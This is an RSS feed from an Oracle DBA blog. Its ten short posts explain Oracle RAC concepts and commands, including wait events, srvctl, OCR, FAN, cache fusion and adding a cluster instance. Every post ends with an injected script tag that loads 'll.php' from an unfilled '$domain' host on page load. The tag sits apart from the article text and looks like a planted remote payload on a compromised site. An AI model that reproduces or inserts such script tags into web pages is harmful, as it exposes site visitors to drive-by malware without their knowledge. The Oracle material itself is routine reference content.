<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; rac</title>
	<atom:link href="http://www.bestremotedba.com/tag/rac/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Major RAC Wait Events</title>
		<link>http://www.bestremotedba.com/major-rac-wait-events/</link>
		<comments>http://www.bestremotedba.com/major-rac-wait-events/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 04:17:35 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RAC]]></category>
		<category><![CDATA[Major RAC Wait Events]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=643</guid>
		<description><![CDATA[In a RAC environment the buffer cache is global across all instances in the cluster and hence the processing differs.The most common wait events related to this are gc cr request and gc buffer busy GC CR request: the time it takes to retrieve the data from the remote cache Reason: RAC Traffic Using Slow [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>In a RAC environment the buffer cache is global across all instances in the cluster and hence the processing<br />
differs.The most common wait events related to this are gc cr request and gc buffer busy</p>
<p>GC CR request: the time it takes to retrieve the data from the remote cache</p>
<p>Reason: RAC Traffic Using Slow Connection or Inefficient queries (poorly tuned queries will increase the amount of data blocks<br />
requested by an Oracle session. The more blocks requested typically means the more often a block will need to be read from a remote instance via the interconnect.)</p>
<p>GC BUFFER BUSY: It is the time the remote instance locally spends accessing the requested data block.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/major-rac-wait-events/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SRVCTL</title>
		<link>http://www.bestremotedba.com/srvctl/</link>
		<comments>http://www.bestremotedba.com/srvctl/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 04:15:56 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RAC]]></category>
		<category><![CDATA[rac]]></category>
		<category><![CDATA[SRVCTL]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=641</guid>
		<description><![CDATA[srvctl start instance -d db_name -i &#8220;inst_name_list&#8221; [-o start_options] srvctl stop instance -d name -i &#8220;inst_name_list&#8221; [-o stop_options] srvctl stop instance -d orcl -i &#8220;orcl3,orcl4&#8243; -o immediate srvctl start database -d name [-o start_options] srvctl stop database -d name [-o stop_options] srvctl start database -d orcl -o mount]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>srvctl start instance -d db_name -i &#8220;inst_name_list&#8221; [-o start_options]<br />
srvctl stop instance -d name -i &#8220;inst_name_list&#8221; [-o stop_options]<br />
srvctl stop instance -d orcl -i &#8220;orcl3,orcl4&#8243; -o immediate<br />
srvctl start database -d name [-o start_options]<br />
srvctl stop database -d name [-o stop_options]<br />
srvctl start database -d orcl -o mount<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/srvctl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle clusterware tools</title>
		<link>http://www.bestremotedba.com/oracle-clusterware-tools/</link>
		<comments>http://www.bestremotedba.com/oracle-clusterware-tools/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 04:14:36 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RAC]]></category>
		<category><![CDATA[Oracle clusterware tools]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=639</guid>
		<description><![CDATA[OIFCFG &#8211; allocating and deallocating network interfaces OCRCONFIG &#8211; Command-line tool for managing Oracle Cluster Registry OCRDUMP &#8211; Identify the interconnect being used CVU &#8211; Cluster verification utility to get status of CRS resources]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>OIFCFG &#8211; allocating and deallocating network interfaces<br />
OCRCONFIG &#8211; Command-line tool for managing Oracle Cluster Registry<br />
OCRDUMP &#8211; Identify the interconnect being used<br />
CVU &#8211; Cluster verification utility to get status of CRS resources<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/oracle-clusterware-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OCR</title>
		<link>http://www.bestremotedba.com/ocr/</link>
		<comments>http://www.bestremotedba.com/ocr/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 05:19:46 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RAC]]></category>
		<category><![CDATA[OCR]]></category>
		<category><![CDATA[Oracle Cluster Registry]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=636</guid>
		<description><![CDATA[Oracle clusterware manages CRS resources based on the configuration information of CRS resources stored in OCR(Oracle Cluster Registry).]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Oracle clusterware manages CRS resources based on the configuration information of CRS resources stored in OCR(Oracle Cluster Registry).<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/ocr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FAN</title>
		<link>http://www.bestremotedba.com/fan/</link>
		<comments>http://www.bestremotedba.com/fan/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:45:47 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RAC]]></category>
		<category><![CDATA[FAN]]></category>
		<category><![CDATA[FAN in RAC]]></category>
		<category><![CDATA[Fast application Notification]]></category>
		<category><![CDATA[Fast application Notification in RAC]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=623</guid>
		<description><![CDATA[Fast application Notification as it abbreviates to FAN relates to the events related to instances,services and nodes.This is a notification mechanism that Oracle RAc uses to notify other processes about the configuration and service level information that includes service status changes such as,UP or DOWN events.Applications can respond to FAN events and take immediate action. [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Fast application Notification as it abbreviates to FAN relates to the events related to instances,services and nodes.This is a notification mechanism that Oracle RAc uses to notify other processes about the configuration and service level information that includes service status changes such as,UP or DOWN events.Applications can respond to FAN events and take immediate action.</p>
<p><strong>FAN UP and DOWN events:</strong></p>
<p>FAN UP and FAN DOWN events can be applied to instances,services and nodes.</p>
<p><strong>Use of FAN events in case of a cluster configuration change:</strong></p>
<p>During times of cluster configuration changes,Oracle RAC high availability framework publishes a FAN event immediately when a state change occurs in the cluster.So applications can receive FAN events and react immediately.This prevents applications from polling database and detecting a problem after such a state change.<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/fan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Give Details on Cache Fusion</title>
		<link>http://www.bestremotedba.com/give-details-on-cache-fusion/</link>
		<comments>http://www.bestremotedba.com/give-details-on-cache-fusion/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 03:36:16 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[Give Details on Cache Fusion]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=500</guid>
		<description><![CDATA[Oracle RAC is composed of two or more instances. When a block of data is read from datafile by an instance within the cluster and another instance is in need of the same block,it is easy to get the block image from the insatnce which has the block in its SGA rather than reading from [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Oracle RAC is composed of two or more instances. When a block of data is read from datafile by an instance within the cluster and another instance is in need of the same block,it is easy to get the block image from the insatnce which has the block in its SGA rather than reading from the disk. To enable inter instance communication Oracle RAC makes use of interconnects. The Global Enqueue Service(GES) monitors and Instance enqueue process manages the cahce fusion. <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/give-details-on-cache-fusion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is GRD?</title>
		<link>http://www.bestremotedba.com/what-is-grd/</link>
		<comments>http://www.bestremotedba.com/what-is-grd/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 03:35:22 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[rac]]></category>
		<category><![CDATA[What is GRD?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=498</guid>
		<description><![CDATA[GRD stands for Global Resource Directory. The GES and GCS maintains records of the statuses of each datafile and each cahed block using global resource directory.This process is referred to as cache fusion and helps in data integrity.]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>GRD stands for Global Resource Directory. The GES and GCS maintains records of the statuses of each datafile and each cahed block using global resource directory.This process is referred to as cache fusion and helps in data integrity.<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/what-is-grd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mention the Oracle RAC software components</title>
		<link>http://www.bestremotedba.com/mention-the-oracle-rac-software-components/</link>
		<comments>http://www.bestremotedba.com/mention-the-oracle-rac-software-components/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 03:34:30 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[Mention the Oracle RAC software components]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=496</guid>
		<description><![CDATA[Oracle RAC is composed of two or more database instances. They are composed of Memory structures and background processes same as the single instance database.Oracle RAC instances use two processes GES(Global Enqueue Service), GCS(Global Cache Service) that enable cache fusion.Oracle RAC instances are composed of following background processes: ACMS—Atomic Controlfile to Memory Service (ACMS) GTX0-j—Global [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Oracle RAC is composed of two or more database instances. They are composed of Memory structures and background processes same as the single instance database.Oracle RAC instances use two processes GES(Global Enqueue Service), GCS(Global Cache Service) that enable cache fusion.Oracle RAC instances are composed of following background processes:<br />
ACMS—Atomic Controlfile to Memory Service (ACMS)<br />
GTX0-j—Global Transaction Process<br />
LMON—Global Enqueue Service Monitor<br />
LMD—Global Enqueue Service Daemon<br />
LMS—Global Cache Service Process<br />
LCK0—Instance Enqueue Process<br />
RMSn—Oracle RAC Management Processes (RMSn)<br />
RSMN—Remote Slave Monitor <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/mention-the-oracle-rac-software-components/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is RAC?</title>
		<link>http://www.bestremotedba.com/what-is-rac/</link>
		<comments>http://www.bestremotedba.com/what-is-rac/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 03:33:34 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[rac]]></category>
		<category><![CDATA[What is RAC?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=494</guid>
		<description><![CDATA[RAC stands for Real Application cluster. It is a clustering solution from Oracle Corporation that ensures high availability of databases by providing instance failover, media failover features.]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>RAC stands for Real Application cluster. It is a clustering solution from Oracle Corporation that ensures high availability of databases by providing instance failover, media failover features.<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/what-is-rac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How can I manually add a new instance to a cluster?</title>
		<link>http://www.bestremotedba.com/how-can-i-manually-add-a-new-instance-to-a-cluster/</link>
		<comments>http://www.bestremotedba.com/how-can-i-manually-add-a-new-instance-to-a-cluster/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 02:37:24 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[add new instance to rac]]></category>
		<category><![CDATA[How can I manually add a new instance to a cluster?]]></category>
		<category><![CDATA[rac]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=483</guid>
		<description><![CDATA[Assuming that the cluster is up and running and also assuming that you can connect successfully to one of the nodes. Add redo groups to node2 alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo04.log&#8217; size 10m; alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo05.log&#8217; size 10m; alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo06.log&#8217; size 10m; alter database [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>
 Assuming that the cluster is up and running and also assuming that you can connect successfully to one of the nodes. </p>
<p>Add redo groups to node2<br />
alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo04.log&#8217; size 10m;<br />
alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo05.log&#8217; size 10m;<br />
alter database add logfile thread 2 &#8216;/u02/oradata/myrac2/redo06.log&#8217; size 10m;<br />
alter database enable thread 2;</p>
<p>Create undo tablespace for the second node:-<br />
create undo tablespace UNDOTBS2<br />
datafile &#8216;/u02/oradata/myrac2/undotbs201.dbf&#8217; size 40m;</p>
<p>Set instance specific parameters in the spfile<br />
alter system set cluster_database_instances=2 scope=spfile;<br />
alter system set undo_tablespace=UNDOTBS2 scope=spfile sid=&#8217;myrac2&#8242;;<br />
alter system set instance_name=myrac2 scope=spfile sid=&#8217;myrac2&#8242;;<br />
alter system set instance_number=2 scope=spfile sid=&#8217;myrac2&#8242;;<br />
alter system set thread=2 scope=spfile sid=&#8217;myrac2&#8242;;<br />
alter system reset local_listener scope=spfile sid=&#8217;listeners_rac2&#8242;;<br />
alter system reset remote_listener scope=spfile sid=&#8217;*';</p>
<p>Now ensure that both instances init<SID>.ora files point to<br />
the spfile.<br />
initmyrac1.ora -> SPFILE=/u02/oracle/dbs/spfileMYRAC.ora<br />
initmyrac2.ora -> SPFILE=/u02/oracle/dbs/spfileMYRAC.ora</p>
<p>Now connect to each instances specifically and start the database:-<br />
NODE1:<br />
export ORACLE_SID=MYRAC1<br />
sqlplus / as sysdba<br />
startup;</p>
<p>NODE2:<br />
export ORACLE_SID=MYRAC2<br />
sqlplus / as sysdba<br />
startup;</p>
<p>SQL>select * from v$active_instances;&#8211;this should display 2 nodes.</p>
<p> Note<br />
You can also use dbca to create your database as DBCA is rac aware.</p>
<p>Oracle clusterware is a required component for using RAC. We can use other clusterware from vendors if it is certified. Oracle Clusterware | / \ Voting Disk OCR A RAC database can have upto 10 Instances. Tools for RAC Are:-<br />
Enterprise Manager </p>
<p>Cluster Verification Utility CVU </p>
<p>Server control SRVCTL </p>
<p>Cluster ready services control CRSCTL </p>
<p>Oracle Interface config tool OIFCFG </p>
<p>OCR Configuration Tool OCRCONFIG<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-can-i-manually-add-a-new-instance-to-a-cluster/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

